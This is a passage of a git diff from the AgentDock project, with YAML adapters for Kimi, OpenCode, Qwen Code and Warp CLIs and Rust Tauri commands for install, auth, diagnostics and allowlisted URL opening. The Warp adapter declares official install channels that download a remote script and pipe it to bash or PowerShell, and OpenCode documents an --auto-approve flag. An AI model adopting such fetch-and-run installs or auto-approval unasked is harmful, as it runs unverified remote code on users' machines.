- cmd: kimi -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
updated_at: "2026-08-24"
|
||||
desc_zh: 无头单次执行(print 模式)
|
||||
- cmd: kimi --version
|
||||
desc_zh: 显示版本号
|
||||
- cmd: kimi acp
|
||||
desc_zh: IDE 集成 stdio(ACP 协议)
|
||||
- cmd: /login
|
||||
desc_zh: 登录(Kimi Code OAuth 或 Moonshot API Key)
|
||||
- cmd: /model
|
||||
desc_zh: 切换模型
|
||||
- cmd: /mcp-config
|
||||
desc_zh: 配置 MCP 服务器
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式,执行后退出
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式(如 stream-json)
|
||||
- param: -m / --model
|
||||
desc_zh: 指定模型别名
|
||||
- param: --quiet
|
||||
desc_zh: 静默模式
|
||||
- param: --session
|
||||
desc_zh: 恢复指定会话
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 严禁 npm:npm 上的 kimi-code 是第三方仿名包,与月之暗面无关
|
||||
- 官方脚本会自动安装 uv 并从 PyPI kimi-cli 安装
|
||||
- 已换代:旧 PyPI `kimi-cli` 线废止,官方现行安装为 kimi-code 脚本(本适配器 1.2.0 已改)
|
||||
- 官方密钥不自动从 shell 环境变量读取,需写入 config.toml providers 表;AgentDock 密钥存系统密钥库(测试连通直连官方接口),OAuth 登录为推荐路径
|
||||
- 模型别名与 providers/models 高级配置以官方 config-files 文档为准,本表单不覆盖
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器 · OpenCode(opencode.ai)(Wave 2 全字段)
|
||||
# AgentDock 适配器 · OpenCode(opencode.ai)(Wave 2.1)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md(OpenCode 章节)+ 架构 §3.3
|
||||
# ============================================================
|
||||
id: opencode
|
||||
@@ -7,7 +7,7 @@ name: OpenCode
|
||||
name_zh: OpenCode
|
||||
vendor: opencode.ai
|
||||
status: available
|
||||
adapter_version: 1.0.0
|
||||
adapter_version: 1.1.0
|
||||
license: MIT
|
||||
|
||||
platforms:
|
||||
@@ -62,6 +62,9 @@ detect:
|
||||
update:
|
||||
method: self_update_cmd
|
||||
command: [opencode, upgrade]
|
||||
source:
|
||||
kind: npm
|
||||
package: opencode-ai
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
@@ -80,6 +83,9 @@ authorization:
|
||||
- mode: device_code
|
||||
notes_zh: GitHub Copilot 设备码登录(github.com/login/device 输码)
|
||||
|
||||
# 配置机制(调研底稿 OpenCode 章节):全局 ~/.config/opencode/opencode.json(JSON,带注释 jsonc 亦可)
|
||||
# model 字段设默认模型;每个 provider 可单独改 baseURL(含本地 Ollama/LM Studio 等 OpenAI 兼容端点);
|
||||
# API Key 用环境变量引用接入,也可在 TUI 用 /connect 交互保存(凭据落 ~/.local/share/opencode/auth.json)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.config/opencode/opencode.json"
|
||||
@@ -95,18 +101,31 @@ configuration:
|
||||
fields:
|
||||
- id: model
|
||||
label_zh: 默认模型
|
||||
help_zh: OpenCode 使用的默认模型
|
||||
group: common
|
||||
help_zh: 官方键 model,全局默认模型(如 anthropic/claude-sonnet-4)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://opencode.ai/docs/config/
|
||||
- id: provider
|
||||
label_zh: 默认 Provider
|
||||
group: common
|
||||
help_zh: 官方键 provider,指定默认模型提供方(可选;留空则用模型名推断)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://opencode.ai/docs/providers/
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
help_zh: 存入系统密钥库(对应 OPENAI_API_KEY / ANTHROPIC_API_KEY)
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 OPENAI_API_KEY / ANTHROPIC_API_KEY 等环境变量);也可在 TUI 用 /connect 交互保存
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://opencode.ai/docs/providers/
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
@@ -115,14 +134,38 @@ diagnostics:
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `opencode` 或 `opencode run "提示词"` 无头执行。
|
||||
quickstart_zh: 安装后运行 `opencode`,或用 `opencode run "提示词"` 无头执行。
|
||||
install_zh: 多渠道:npm `opencode-ai`(本适配器默认)、Windows choco/scoop、Linux 官方脚本、Homebrew。桌面版另有原生 .exe 安装器。
|
||||
auth_zh: 授权面最全:① 纯 API Key(各家环境变量);② 浏览器 OAuth(Claude Pro/Max、ChatGPT 订阅);③ 设备码(GitHub Copilot,github.com/login/device 输码);④ 企业级 OAuth。不绑定特定厂商。
|
||||
commands:
|
||||
- cmd: opencode
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: opencode run "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: opencode run "提示词" --model <模型>
|
||||
desc_zh: 指定模型无头执行
|
||||
- cmd: opencode auth login
|
||||
desc_zh: 浏览器 OAuth 登录
|
||||
- cmd: opencode auth list
|
||||
desc_zh: 查看已配置凭据
|
||||
updated_at: "2026-08-24"
|
||||
- cmd: opencode upgrade
|
||||
desc_zh: 自升级
|
||||
- cmd: opencode serve
|
||||
desc_zh: 无头 HTTP 服务器模式
|
||||
- cmd: opencode --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: run "提示词"
|
||||
desc_zh: 一次性执行后退出
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --format json
|
||||
desc_zh: JSON 事件流输出
|
||||
- param: --auto-approve
|
||||
desc_zh: 自动批准权限请求
|
||||
- param: -v / --version
|
||||
desc_zh: 显示版本号
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 官方未文档化安装包校验(SHA256/签名),适配器不强制校验
|
||||
- 每个 provider 的 baseURL 高级配置(本地 Ollama/LM Studio 等)本表单不覆盖,以官方 providers 文档为准
|
||||
|
||||
+143
-21
@@ -1,28 +1,150 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Qwen Code(阿里巴巴)(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||
# 真机:qwen --version → 0.21.15;配置 ~/.qwen/settings.json(JSON,env/modelProviders/model)
|
||||
# ============================================================
|
||||
id: qwen
|
||||
name: Qwen Code
|
||||
name_zh: Qwen Code
|
||||
vendor: 阿里巴巴
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 原生支持(npm / 阿里 OSS 独立脚本,非 WSL)
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://github.com/QwenLM/qwen-code
|
||||
docs: https://qwen.ai/
|
||||
allowed_hosts: [registry.npmjs.org, github.com, qwen.ai, dashscope.aliyuncs.com]
|
||||
|
||||
runtime_deps:
|
||||
- id: node
|
||||
semver_range: ">=22"
|
||||
required_for: [install, run]
|
||||
|
||||
install:
|
||||
preferred: npm
|
||||
channels:
|
||||
- id: npm
|
||||
platforms: [windows, linux]
|
||||
command: [npm, install, -g, "@qwen-code/qwen-code"]
|
||||
package: "@qwen-code/qwen-code"
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: qwen
|
||||
version_args: ["--version"]
|
||||
version_regex: "^v?(\\d+\\.\\d+\\.\\d+)"
|
||||
|
||||
update:
|
||||
method: npm_update
|
||||
command: [npm, update, -g, "@qwen-code/qwen-code"]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@qwen-code/qwen-code"
|
||||
|
||||
uninstall:
|
||||
method: npm_uninstall
|
||||
command: [npm, uninstall, -g, "@qwen-code/qwen-code"]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: api_key
|
||||
env_keys: [DASHSCOPE_API_KEY]
|
||||
notes_zh: 免费 OAuth 已停用(qwen auth 命令已移除),仅支持 API Key(阿里云百炼 DashScope;也可在 settings.json 接 OpenAI 兼容端点)
|
||||
|
||||
# 配置机制(真机 ~/.qwen/settings.json,JSON):model.name / model.baseUrl 设默认模型;
|
||||
# env 块注入环境变量(API Key);modelProviders 接多 provider(含 OpenAI 兼容端点)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.qwen/settings.json"
|
||||
format: json
|
||||
scope: user
|
||||
environment:
|
||||
- key: DASHSCOPE_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: model.name
|
||||
label_zh: 默认模型
|
||||
group: common
|
||||
help_zh: 官方键 model.name,settings.json 中的默认模型
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://qwen.ai/
|
||||
- id: model.baseUrl
|
||||
label_zh: Base URL
|
||||
group: advanced
|
||||
help_zh: 官方键 model.baseUrl,默认模型服务端点(OpenAI 兼容网关/代理场景)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: url
|
||||
storage: file
|
||||
docs_url: https://qwen.ai/
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应环境变量 DASHSCOPE_API_KEY,阿里云百炼申请)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://qwen.ai/
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: dependency.node_below_min
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后配置 API Key,用 `qwen -p "提示词"` 无头执行,或 `qwen` 进入交互会话。
|
||||
install_zh: 推荐 `npm install -g @qwen-code/qwen-code`(需 Node 22+);也可用 `npx @qwen-code/qwen-code` 临时试用。阿里 OSS 独立脚本见官方文档。
|
||||
auth_zh: 仅支持 API Key:免费 OAuth 已停用(`qwen auth` 命令已移除)。请在阿里云百炼(DashScope)申请 API Key 后粘贴保存(经 DASHSCOPE_API_KEY 注入);也可在 settings.json 的 modelProviders 接 OpenAI 兼容端点(自定义 envKey)。
|
||||
commands:
|
||||
- cmd: qwen
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: qwen -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: qwen -m <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: qwen -o json -p "提示词"
|
||||
desc_zh: 以 JSON 输出
|
||||
- cmd: qwen --version
|
||||
desc_zh: 显示版本号
|
||||
- cmd: qwen update
|
||||
desc_zh: 检查并安装更新
|
||||
- cmd: qwen sessions
|
||||
desc_zh: 管理会话
|
||||
- cmd: npx @qwen-code/qwen-code
|
||||
desc_zh: 免安装临时运行
|
||||
params:
|
||||
- param: -p / --prompt
|
||||
desc_zh: 无头模式单次执行
|
||||
- param: -m / --model
|
||||
desc_zh: 指定模型
|
||||
- param: -o / --output-format
|
||||
desc_zh: 输出格式(text / json / stream-json)
|
||||
- param: -s / --sandbox
|
||||
desc_zh: 沙箱执行
|
||||
- param: -c / --continue
|
||||
desc_zh: 续接最近会话
|
||||
- param: -v / --version
|
||||
desc_zh: 显示版本号
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 免费 OAuth 已停用,仅支持 API Key(真机 `qwen auth` 命令显示 removed)
|
||||
- 真机 `qwen --version` 返回 0.21.15,版本检测已据此确认
|
||||
- modelProviders 多 provider / env 块自定义 envKey 等高级配置本表单不覆盖,以官方文档为准
|
||||
|
||||
+115
-21
@@ -1,28 +1,122 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Warp Agent CLI(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# 注意:只管 Agent CLI(命令 warp),不管 Warp 终端本体;设备码+浏览器+API Key 三授权。
|
||||
# ============================================================
|
||||
id: warp
|
||||
name: Warp Agent CLI
|
||||
name_zh: Warp Agent CLI
|
||||
vendor: Warp
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: 专有(仅官方渠道安装、不重打包)
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 官方 agent-cli.ps1 脚本渠道
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://www.warp.dev
|
||||
docs: https://docs.warp.dev/agent-mode
|
||||
allowed_hosts: [warp.dev, app.warp.dev, www.warp.dev]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
install:
|
||||
preferred: official_script
|
||||
channels:
|
||||
- id: official_script
|
||||
platforms: [windows]
|
||||
script:
|
||||
url: https://app.warp.dev/download/agent-cli.ps1
|
||||
kind: powershell_irm
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [linux]
|
||||
script:
|
||||
url: https://app.warp.dev/download/agent-cli
|
||||
kind: bash_pipe
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: warp
|
||||
version_args: ["--version"]
|
||||
|
||||
update:
|
||||
method: self_update_cmd
|
||||
command: [warp, update]
|
||||
|
||||
uninstall:
|
||||
method: manual_delete
|
||||
command: []
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: browser_oauth
|
||||
command: [warp, login]
|
||||
notes_zh: 浏览器登录 Warp 账号
|
||||
- mode: device_code
|
||||
command: [warp, login]
|
||||
notes_zh: 设备码登录(不弹浏览器)
|
||||
- mode: api_key
|
||||
env_keys: [WARP_API_KEY]
|
||||
notes_zh: WARP_API_KEY 环境变量(API Key 授权)
|
||||
|
||||
# 配置机制(调研底稿 Warp 章节):Warp 账户体系为主,API Key 经 WARP_API_KEY 环境变量。
|
||||
configuration:
|
||||
files: []
|
||||
environment:
|
||||
- key: WARP_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 WARP_API_KEY 环境变量);一般用账号登录即可
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://docs.warp.dev/agent-mode
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `warp login` 登录 Warp 账号,或用 `warp -p "提示词"` 无头执行。
|
||||
install_zh: 仅官方脚本渠道:Windows agent-cli.ps1 / Linux curl 脚本。只管 Agent CLI,不管 Warp 终端本体。
|
||||
auth_zh: 三授权:① 浏览器登录(`warp login`);② 设备码(`warp login`,不弹浏览器);③ API Key(WARP_API_KEY 环境变量)。
|
||||
commands:
|
||||
- cmd: warp
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: warp -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: warp login
|
||||
desc_zh: 登录 Warp 账号
|
||||
- cmd: warp logout
|
||||
desc_zh: 退出登录
|
||||
- cmd: warp --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 无头模式执行后退出
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式
|
||||
- param: --version
|
||||
desc_zh: 显示版本号
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 只管 Agent CLI(命令 warp),不管 Warp 终端本体
|
||||
- 官方脚本 URL 以 docs.warp.dev/agent-mode 为准,安装前请核对
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use agentdock_adapter::{AdapterAction, DryRunPlan};
|
||||
use agentdock_core::{ActionEvent, ActionOpts, AuthStatus, ConfigFormState, DetectResult, Engine, WriteResult};
|
||||
use agentdock_core::{ActionEvent, ActionOpts, AuthFlowEvent, AuthStatus, ConfigFormState, ConfigVerifyResult, ConnectionTestResult, DetectResult, Engine, ModelListResult, SystemEnvReport, UpdateCheckResult, WriteResult};
|
||||
use agentdock_diag::DiagnosticReport;
|
||||
use serde_json::json;
|
||||
use tauri::Emitter;
|
||||
@@ -37,6 +37,12 @@ pub fn detect_cli(id: String, state: tauri::State<'_, Engine>) -> Result<DetectR
|
||||
state.detect(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 批量检测全部 CLI(detectCliAll),供总览/目录/我的 CLI 接真机状态。
|
||||
#[tauri::command(rename = "detectCliAll")]
|
||||
pub fn detect_cli_all(state: tauri::State<'_, Engine>) -> Result<Vec<DetectResult>, String> {
|
||||
state.detect_all().map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 干燥运行(previewAction):返回将执行的命令与影响面,不真正执行。
|
||||
#[tauri::command(rename = "previewAction")]
|
||||
pub fn preview_action(
|
||||
@@ -107,15 +113,116 @@ pub fn write_config(
|
||||
state.write_config(&id, &patch).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 配置写入后的「生效检查」(verifyConfig):重读配置文件 + CLI 版本探测。
|
||||
#[tauri::command(rename = "verifyConfig")]
|
||||
pub fn verify_config(id: String, state: tauri::State<'_, Engine>) -> Result<ConfigVerifyResult, String> {
|
||||
state.verify_config(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 授权状态(authStatus)。
|
||||
#[tauri::command(rename = "authStatus")]
|
||||
pub fn auth_status(id: String, state: tauri::State<'_, Engine>) -> Result<AuthStatus, String> {
|
||||
state.auth_status(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 软件内授权(authorize):按官方授权方式运行登录命令,事件经 `cli-auth-event` 流式回传。
|
||||
#[tauri::command(rename = "authorize")]
|
||||
pub fn authorize(
|
||||
app: tauri::AppHandle,
|
||||
id: String,
|
||||
mode: String,
|
||||
state: tauri::State<'_, Engine>,
|
||||
) -> Result<(), String> {
|
||||
let engine = state.inner().clone();
|
||||
std::thread::spawn(move || {
|
||||
let cli_id = id.clone();
|
||||
let m = mode.clone();
|
||||
let result = engine.authorize_stream(&id, &mode, |ev| {
|
||||
let _ = app.emit("cli-auth-event", &ev);
|
||||
});
|
||||
if let Err(e) = result {
|
||||
let _ = app.emit("cli-auth-event", AuthFlowEvent::error(&cli_id, &m, e.to_string()));
|
||||
}
|
||||
});
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// 取消正在进行的授权流程。
|
||||
#[tauri::command(rename = "cancelAuthorize")]
|
||||
pub fn cancel_authorize(id: String, mode: String, state: tauri::State<'_, Engine>) {
|
||||
state.cancel_authorize(&id, &mode);
|
||||
}
|
||||
|
||||
/// 诊断(diagnose):内部实时取本机环境快照。
|
||||
#[tauri::command(rename = "diagnose")]
|
||||
pub fn diagnose(id: String, state: tauri::State<'_, Engine>) -> Result<DiagnosticReport, String> {
|
||||
let env = agentdock_platform::detect::detect_env();
|
||||
state.diagnose(&id, &env).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 批量诊断全部已装工具(总览「立即诊断」入口用),内部实时取本机环境快照。
|
||||
#[tauri::command(rename = "diagnoseAll")]
|
||||
pub fn diagnose_all(state: tauri::State<'_, Engine>) -> Result<Vec<DiagnosticReport>, String> {
|
||||
let env = agentdock_platform::detect::detect_env();
|
||||
state.diagnose_all(&env).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,标注影响哪些 CLI。
|
||||
#[tauri::command(rename = "diagnoseSystem")]
|
||||
pub fn diagnose_system(state: tauri::State<'_, Engine>) -> Result<SystemEnvReport, String> {
|
||||
let env = agentdock_platform::detect::detect_env();
|
||||
state.diagnose_system(&env).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本对比。
|
||||
#[tauri::command(rename = "checkUpdate")]
|
||||
pub fn check_update(id: String, state: tauri::State<'_, Engine>) -> Result<UpdateCheckResult, String> {
|
||||
state.check_update(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 模型列表(Wave 3.1 Req 5)。
|
||||
#[tauri::command(rename = "listModels")]
|
||||
pub fn list_models(id: String, state: tauri::State<'_, Engine>) -> Result<ModelListResult, String> {
|
||||
state.list_models(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 测试连通(Wave 3.1 Req 5):密钥从密钥库读取直连官方接口测一次。
|
||||
#[tauri::command(rename = "testConnection")]
|
||||
pub fn test_connection(id: String, state: tauri::State<'_, Engine>) -> Result<ConnectionTestResult, String> {
|
||||
state.test_connection(&id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 用系统默认浏览器打开外链(Wave 3.1 Req 8),目标主机须在白名单内。
|
||||
#[tauri::command(rename = "openExternal")]
|
||||
pub fn open_external(url: String, state: tauri::State<'_, Engine>) -> Result<(), String> {
|
||||
let allowed: Vec<String> = state
|
||||
.adapters()
|
||||
.map(|ads| {
|
||||
let mut hosts: Vec<String> = ads
|
||||
.iter()
|
||||
.flat_map(|a| a.official.as_ref().map(|o| o.allowed_hosts.clone()).unwrap_or_default())
|
||||
.collect();
|
||||
hosts.extend(well_known_docs_hosts().iter().cloned());
|
||||
hosts
|
||||
})
|
||||
.unwrap_or_else(|_| well_known_docs_hosts());
|
||||
if !agentdock_core::is_url_host_allowed(&url, &allowed) {
|
||||
return Err("目标链接不在白名单内".to_string());
|
||||
}
|
||||
agentdock_core::open_with_shell(&url).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 官方文档/主页常见主机(与适配器 allowed_hosts 合并,覆盖 docs.* 站点)。
|
||||
fn well_known_docs_hosts() -> Vec<String> {
|
||||
[
|
||||
"opencode.ai", "moonshotai.github.io", "code.kimi.com", "github.com",
|
||||
"code.claude.com", "geminicli.com", "qwen.ai", "codebuddy.ai", "docs.cline.bot",
|
||||
"aider.chat", "cursor.com", "docs.warp.dev", "warp.dev", "block.github.io",
|
||||
"charm.sh", "docs.github.com", "learn.chatgpt.com", "claude.ai",
|
||||
"nodejs.org", "python.org", "git-scm.com", "docs.astral.sh", "learn.microsoft.com",
|
||||
"aka.ms", "pypi.org", "registry.npmjs.org", "api.github.com", "chatgpt.com",
|
||||
]
|
||||
.iter()
|
||||
.map(|s| s.to_string())
|
||||
.collect()
|
||||
}
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
pub mod catalog;
|
||||
pub mod cli;
|
||||
pub mod env;
|
||||
pub mod runtime;
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
//! IPC 命令:本机环境运行时一键安装(Wave 2.2 Req 3)
|
||||
//!
|
||||
//! 下载仅限官方白名单(`RuntimeSource.allowed_hosts`),下载前经
|
||||
//! `is_url_host_allowed` 校验;下载用系统 `curl.exe`;下载成功后用
|
||||
//! `open_with_shell` 打开安装向导(用户在向导里点完即装)。失败兜底
|
||||
//! 提供「打开官方下载页」。应用本身不提权、不静默安装。
|
||||
|
||||
use agentdock_core::{
|
||||
is_url_host_allowed, open_with_shell, source_for, RuntimeSource,
|
||||
};
|
||||
use serde_json::json;
|
||||
use tauri::Emitter;
|
||||
|
||||
/// 预览运行时安装来源(确认弹窗展示官方地址/体积/权限)。
|
||||
#[tauri::command(rename = "previewRuntimeInstall")]
|
||||
pub fn preview_runtime_install(runtime: String) -> Result<RuntimeSource, String> {
|
||||
source_for(&runtime).ok_or_else(|| format!("未知运行时: {runtime}"))
|
||||
}
|
||||
|
||||
/// 兜底:打开运行时官方下载页(默认浏览器)。
|
||||
#[tauri::command(rename = "openRuntimePage")]
|
||||
pub fn open_runtime_page(runtime: String) -> Result<(), String> {
|
||||
let src = source_for(&runtime).ok_or_else(|| format!("未知运行时: {runtime}"))?;
|
||||
open_with_shell(&src.download_page).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// 一键安装运行时:下载官方安装包 → 打开安装向导。进度经 `runtime-install-event` 回传。
|
||||
#[tauri::command(rename = "installRuntime")]
|
||||
pub fn install_runtime(app: tauri::AppHandle, runtime: String) -> Result<(), String> {
|
||||
let src = source_for(&runtime).ok_or_else(|| format!("未知运行时: {runtime}"))?;
|
||||
|
||||
std::thread::spawn(move || {
|
||||
let emit = |app: &tauri::AppHandle, payload: serde_json::Value| {
|
||||
let _ = app.emit("runtime-install-event", payload);
|
||||
};
|
||||
|
||||
// 不可直接下载的运行时(如 uv):直接打开官方下载页
|
||||
let Some(url) = src.download_url.clone().filter(|_| src.direct_installable) else {
|
||||
let _ = open_with_shell(&src.download_page);
|
||||
emit(
|
||||
&app,
|
||||
json!({ "runtime": runtime, "phase": "opened_page", "message": format!("已打开{}官方下载页", src.label_zh) }),
|
||||
);
|
||||
return;
|
||||
};
|
||||
|
||||
// 安全红线:来源必须落白名单
|
||||
emit(&app, json!({ "runtime": runtime, "phase": "validate", "message": format!("正在校验来源({})…", src.source_label) }));
|
||||
if !is_url_host_allowed(&url, &src.allowed_hosts) {
|
||||
emit(
|
||||
&app,
|
||||
json!({ "runtime": runtime, "phase": "error", "message": "下载来源不在官方白名单内,已中止(安全红线)", "fallback": true }),
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// 下载到临时目录
|
||||
let dir = std::env::temp_dir().join("agentdock-downloads");
|
||||
let _ = std::fs::create_dir_all(&dir);
|
||||
let file_name = url.rsplit('/').next().unwrap_or("installer.bin");
|
||||
let dest = dir.join(file_name);
|
||||
emit(&app, json!({ "runtime": runtime, "phase": "download", "message": format!("正在下载 {}({},来自 {})…", src.label_zh, src.size_approx, src.source_label) }));
|
||||
|
||||
match agentdock_core::download_with_curl(&url, &dest) {
|
||||
Ok(()) => {
|
||||
emit(&app, json!({ "runtime": runtime, "phase": "open", "message": "下载完成,正在打开安装向导(请在向导中完成安装)…" }));
|
||||
if let Err(e) = open_with_shell(&dest.to_string_lossy()) {
|
||||
emit(
|
||||
&app,
|
||||
json!({ "runtime": runtime, "phase": "error", "message": format!("无法打开安装向导:{e}"), "fallback": true }),
|
||||
);
|
||||
return;
|
||||
}
|
||||
emit(&app, json!({ "runtime": runtime, "phase": "done", "message": "安装向导已打开" }));
|
||||
}
|
||||
Err(e) => {
|
||||
emit(
|
||||
&app,
|
||||
